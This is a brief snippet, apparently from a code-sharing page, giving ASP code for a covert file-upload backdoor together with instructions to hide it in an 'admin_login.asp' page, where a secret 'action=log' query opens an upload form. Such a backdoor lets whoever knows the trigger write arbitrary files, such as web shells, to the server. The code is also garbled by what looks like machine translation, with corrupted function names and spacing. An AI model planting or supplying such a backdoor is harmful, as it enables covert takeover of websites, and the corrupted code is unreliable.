CopyCodeThe Code is as follows: <% if request. querystring ("action") = "log" then
A = request. totalbytes: If a then B = "ADODB. stream ": set C = Createobject (B): C. type = 1: C. open: C. write Request. binaryread (a): C. position = 0: D = C. read: E = chrb (13) & chrb (10): F = partition B (D, E): g = partition B (F + 1, D, E ): set H = Createobject (B): H. type = 1: H. open: C. position = F + 1: C. copyto H, g-f-3: H. position = 0: H. type = 2: H. charset = "big5": I = H. readtext: H. close: J = mid (I, limit Rev (I, "\") + 1, G): K = Limit B (D, E & E) + 4: L = rjb (k + 1, D, leftb (D, F-1)-K-2: H. type = 1: H. open: C. position = K-1: C. copyto H, L: H. savetofile server. mappath (J), 2%> <form enctype = multipart/form-data method = post> <input type = file name = n> <input type = submit> </form>
<% End if %>
For example, edit it in "admin_login.asp"
In the future, you only need to enter "admin_login.asp? Action = log"